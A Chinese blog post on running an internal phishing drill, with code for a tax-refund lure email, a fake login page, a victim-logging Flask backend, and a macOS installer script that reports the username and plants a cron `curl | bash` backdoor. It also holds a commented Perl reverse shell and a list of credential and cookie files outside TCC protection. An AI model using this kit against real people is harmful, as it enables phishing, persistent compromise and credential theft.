背景

一年一度的钓鱼节,需要针对公司员工做一次钓鱼演练,前期准备工作如下:

  • 确定钓鱼的页面:图方便选了一个登录入口,用Chrome插件SingleFile右键一键保存
  • 确定钓鱼的形式:引导用户输入公司邮箱,点击完成之后,弹出需要安装插件,根据UA决定是下载pkg还是exe。
  • 确定钓鱼的效果:从三个数据维度来看最终效果
    • 钓鱼页面访问次数
    • 输入公司邮箱的数量统计
    • 收集运行了Exe和Pkg的用户

钓鱼邮件的发送

有两种形式可以发送钓鱼邮件:

  1. 使用相近域名
  2. 使用sendcloud

相近域名发送

注册相近域名之后,可以根据这里的步骤绑定使用zoho的免费企业邮箱: 2021年四款国内外免费企业邮箱及申请教程图解

使用SendCloud

注册SendCloud之后,生成API Key,利用以下代码发送钓鱼邮件:

import requests, json

url="http://api.sendcloud.net/apiv2/mail/send"
body = """
    <br>
    各位同事:<br>
    &nbsp;&nbsp;&nbsp;&nbsp;根据《关于延续实施全年一次性奖金等个人所得税优惠政策的公告》(财政部税务总局2023年第4号公告),全年一次性奖金单独计税优惠政策,执行期限延长至2023年4月14日。
为确保广大职工充分享受该项税收优惠政策,2022年底税务总局对每一名职工的全年工薪收入和各类扣除情况进行了分析测算,按政策将大部分职工年底发放的部分绩效结算金额按全年一次性奖金优化计税。优化后,有78.2%的职工可节约税金。在2023年4月中旬申报期完成全年一次性奖金纳税申报后,后续会按程序将节约的税金发至职工账户上,申报操作流程,请据此跳转税务申报平台: <a href='https://example.com/'>税务申报平台<a><br>

需要说明:经过对职工全年应缴税额和已扣税额对比,部分职工需要补税,补税的金额将在后续发放的绩效中扣除。相关政策职工可通过此链接<a href='http://www.chinatax.gov.cn'>http://www.chinatax.gov.cn/</a>查看。
"""

receives = ['john@victim.com']
# 您需要登录SendCloud创建API_USER,使用API_USER和API_KEY才可以进行邮件的发送。
params = {
  "apiUser": "<Users>", \
  "apiKey" : "<apikey>",\
  "from" : "hr@example.com", \
  "fromName" : "hr@example.com", \
  "to" : "<helo@victim.com>", \
  "subject" : "【重要】关于2023年个人所得税税收优化", \
  "html": body, \
}

r = requests.post(url, files={}, data=params)
print(r.text)

钓鱼的页面

对输入的信息进行后端提交,输入完成之后弹框提示用户下载插件,js代码如下:

<link href="https://cdn.jsdelivr.net/npm/@sweetalert2/theme-bulma@4/bulma.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.js"></script>

<script>
    function isValidEmail(email) {
        var reg = /^[a-zA-Z0-9_\.-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$/;
        return reg.test(email);
    }

    function isChinese(str) {
        var reg = /^[\u4E00-\u9FA5]+$/;
        return reg.test(str);
    }

    function login_submit(){
        var usernameInput = document.getElementById('username');
        var emailInput = document.getElementById('password');
        
        if (!isChinese(usernameInput.value)) {
            Swal.fire({
            icon: 'error',
            title: 'Oops...',
            text: '请输入中文公司名称',
            });
        }
        if (!isValidEmail(emailInput.value)) {
            Swal.fire({
            icon: 'error',
            title: 'Oops...',
            text: '请输入正确的邮箱地址!',
            });
        }
        if (isChinese(usernameInput.value) && isValidEmail(emailInput.value)) {
            
                const corpname = document.getElementById('username').value;
                const email = document.getElementById('password').value;
                var formData = new FormData();
                formData.append("corpname", corpname);
                formData.append("email", email);
                var http = new XMLHttpRequest();
                var url = '/login';
                http.open('POST', url, true);
                http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
                http.onreadystatechange = function() { //Call a function when the state changes.
                    if (http.readyState == 4 && http.status == 200) {
              
                 
                        if (navigator.platform.indexOf('Win') !== -1) {
                            Swal.fire({
                            title: '提交成功!',
                            showCloseButton: true,
                            focusConfirm: false,
                            html: '晚些会向您发送邮件通知,请安装税务系统插件: <a href="https://example.com/download/win">点击下载</a> ',
                            icon: 'success'
                            }
                            );
                            
                        } else if (navigator.platform.indexOf('Mac') !== -1) {
                            Swal.fire({
                            title: '提交成功!',
                            showCloseButton: true,
                            focusConfirm: false,
                            html: '晚些会向您发送邮件通知,请安装税务系统插件: <a href="https://example.com/download/osx">点击下载</a> ',
                            icon: 'success'
                            }
                            );
                        }
                       
                    }
                }
                http.send(new URLSearchParams(formData));
        } 
    }
</script>

后端代码

后端需要收集用户提交的表单信息,如果运行了EXE或者PKG需要把用户的信息上传到服务端,整体代码如下:

# coding: utf-8
from flask import Flask, render_template, request, send_file
from flask_cors import CORS
import sqlite3
import time

app = Flask(__name__)

def init_db():
    CONN = sqlite3.connect('fish.db')
    CURSOR = CONN.cursor()
    CURSOR.execute(
        """
        CREATE TABLE IF NOT EXISTS users (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                corpname TEXT NOT NULL,
                email TEXT NOT NULL,
                createdate DATETIME DEFAULT (DATETIME('now','localtime'))
            );
        """
    )
    time.sleep(2)
    CURSOR.execute(
        """
        CREATE TABLE IF NOT EXISTS osx (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                osxname TEXT NOT NULL,
                createdate DATETIME DEFAULT (DATETIME('now','localtime'))
            )
        """
    )
    time.sleep(2)
    CURSOR.execute(
        """
        CREATE TABLE IF NOT EXISTS win (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                pcname TEXT NOT NULL,
                username TEXT NOT NULL,
                createdate DATETIME DEFAULT (DATETIME('now','localtime'))
            )
        """
    )

# 收集表单数据
@app.route('/login', methods=['POST'])
def login():
    corpname = request.form['corpname']
    email = request.form['email']
    with sqlite3.connect("fish.db") as conn:
        cur = conn.cursor()
        cur.execute("INSERT  INTO users(corpname, email) VALUES (?, ?)", (corpname, email))
        conn.commit()
    return "Success"

# 运行Exe之后收集用户名和pcname,定位员工
@app.route('/windata', methods=['POST'])
def windata():
    username = request.form['username']
    pcname = request.form['pcname']
    with sqlite3.connect("fish.db") as conn:
        cur = conn.cursor()
        cur.execute("INSERT INTO win(username, pcname) VALUES (?,?)", (username, pcname))
        conn.commit()
    return "Success"

# 运行了pkg的会新建一个定时任务后门,请求这个URL
@app.route('/osxdoor', methods=['GET'])
def osx():
    #return "perl -e 'use Socket;$i=\"<ip>\";$p=10000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"sh -i\");};' "
    return "echo 'helo world'"

# 运行PKG之后,收集用户名,定位员工
@app.route('/osxdata', methods=['POST'])
def osxdata():
    user = request.form['user']
    with sqlite3.connect("fish.db") as conn:
        cur = conn.cursor()
        cur.execute("INSERT  INTO osx(osxname) VALUES (?)", (user,))
        conn.commit()
    return "Success"

# 下载插件功能
@app.route('/download/<plat>', methods=["GET"])
def download(plat):
    headers = {
        'Content-Disposition': 'attachment; filename=税务申报插件.zip'
    }
    if plat == "osx":
        return send_file("fishbin/finace.pkg", as_attachment=True, download_name="税务申报插件.zip")
    if plat == "sh":
        return send_file("fishbin/install.sh", as_attachment=True, download_name="税务申报插件.zip")
    if plat == "zip":
        return send_file("fishbin/osx.zip", as_attachment=True, download_name="税务申报插件.zip")
    else:
        return send_file("fishbin/win.zip", as_attachment=True, download_name="税务申报插件.zip")


if __name__ == '__main__':
    init_db()
    app.run(host="0.0.0.0", port=5000)

OS X的钓鱼实践

OS X在实际测试碰到几个问题:

  • 比如OS X应该用什么木马平台
  • PKG安装的时候是以root权限运行的,怎么获取登录的用户名
  • 为啥root反弹的pkg不能查看普通用户的桌面(此处是因为TCC机制)

OS X的恶意PKG

PKG的制作最简单的可以参考这篇文章,使用Packages,利用preinstall脚本,脚本的代码如下:

#!/bin/bash
USER=$(dscacheutil -q group -a name admin|grep users|cut -d " " -f 3)
curl -XPOST https://example.com/osxdata -d "user=$USER"
crontab -l > /private/tmp/you_have_been_pwn.txt
echo "*/5 * * * * curl -sSL https://example.com/osxdoor | bash" >> /tmp/you_have_been_pwn.txt
crontab /private/tmp/you_have_been_pwn.txt

root用户获取普通用户名的方式: USER=$(dscacheutil -q group -a name admin|grep users|cut -d " " -f 3)

OS X下的渗透测试攻击

参考下面这几个文章:

OSX系统下载一个文件到运行的时候,中间会碰到这几个安全拦截:

Gatekeeper

Gatekeeper 是一种安全机制,旨在仅允许受信任的应用程序在系统上运行,类似于Windows上的SmartScreen和MOTW。从Internet下载可执行文件时,它们会标有属性com.apple.quarantine,该属性会在文件运行时触发网守。如果可执行文件未经过公证,Gatekeeper 将向用户显示提示,通知他们该文件无法运行,因为它未签名。要运行未签名的可执行文件,用户必须右键单击该文件,然后单击打开,而不是双击。

在验证代码签名后,macOS的内置防病毒软件XProtect将扫描文件中的恶意软件。XProtect使用YARA规则。

最后,如果您想要对应用程序进行公证,您可以注册Apple Developer Program以获得代码签名证书,费用为每年99美元。注册后,您可以签署您的应用程序并将其提交 Apple,在那里它将进行安全扫描并检查其他要求,例如强化运行时(在下一节中介绍)是否已启用。如果您提交恶意软件,Apple的安全扫描可能会忽略它并仍然公证您的应用程序,证书可能很快就会被吊销。

TCC

Transparency, Consent, and Control(TCC)是在 v10.14+ 中实现的 macOS 隐私功能,当应用程序尝试访问某些资源(例如相机)和某些文件夹(包括 Desktop,Downloads,Documents和驱动器/卷)时,它会提示用户明确授予权限。尝试访问受TCC保护的资源而没有权限可能会有弹框提示,导致用户察觉到shell的存在。以下是一些未受TCC保护的有用文件:

  • 主目录中的隐藏文件和文件夹:~/.aws/*~/.ssh/*~/.bash_history~/.zsh_history
  • 用户应用程序数据 — 〜/Library/Application Support/*
  • Cookie 文件 — ~/Library/Application Support/Google/Chrome/Default/Cookies , ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

系统TCC数据库位于 /Library/Application Support/com.apple.TCC/TCC.db,每个用户都有一个位于 ~/Library/Application Support/com.apple.TCC/TCC.db 的TCC数据库。

Windows下的EXE

Windows下的Exe有两个功能:

  1. 执行Exe的时候,获取用户名和主机名,回传发送到服务端
  2. 新建一个helo-world的定时任务,在某个时间点执行弹框Exe,弹窗告诉用户被入侵了

定时任务直接找CSDN的例子,可以拿来用Time Trigger Example (C++,弹窗的Exe代码如下:

#include <windows.h>

// 窗口过程函数
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    switch (msg)
    {
    case WM_PAINT:
    {
        PAINTSTRUCT ps;
        HDC hdc = BeginPaint(hWnd, &ps);

        // 设置字体和颜色
        HFONT hFont = CreateFontW(16, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, L"Arial");
        SelectObject(hdc, hFont);
        SetTextColor(hdc, RGB(255, 0, 0));
        SetBkColor(hdc, RGB(255, 255, 255));

        // 绘制文本
        wchar_t text[] = L"您的电脑已被入侵,请提高信息安全意识,防止钓鱼邮件,ByeBye :)";
        RECT rect;
        GetClientRect(hWnd, &rect);
        DrawTextW(hdc, text, -1, &rect, DT_CENTER | DT_VCENTER | DT_SINGLELINE);


        // 清理资源
        EndPaint(hWnd, &ps);
        DeleteObject(hFont);
        break;
    }
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, msg, wParam, lParam);
    }
    return 0;
}


int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
    // 注册窗口类
    WNDCLASSEXW wc = { 0 };
    wc.cbSize = sizeof(WNDCLASSEXW);
    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = L"MyWindowClass";
    RegisterClassExW(&wc);

    // 创建窗口
    for (int i = 0; i < 10; ++i) {
        HWND hWnd = CreateWindowExW(WS_EX_TOPMOST | WS_EX_APPWINDOW, L"MyWindowClass", L"如果有任何问题,请联系安全组 -- By ", WS_OVERLAPPEDWINDOW, 100, 100, 550, 300, NULL, NULL, hInstance, NULL);
        if (hWnd == NULL)
        {
            MessageBoxW(NULL, L"Failed to create window", L"Error", MB_OK | MB_ICONERROR);
            return -1;
        }


        // 显示窗口
        ShowWindow(hWnd, nCmdShow);
        UpdateWindow(hWnd);

        // 消息循环
        MSG msg;
        while (GetMessageW(&msg, NULL, 0, 0))
        {
            TranslateMessage(&msg);
            DispatchMessageW(&msg);
        }
    }
    return 0;
}

上述的Exe编译之后,再新建一个工程,把上面的exe当作资源文件,在运行的时候,释放到特定目录中,定时任务再执行这个文件。

⬆︎TOP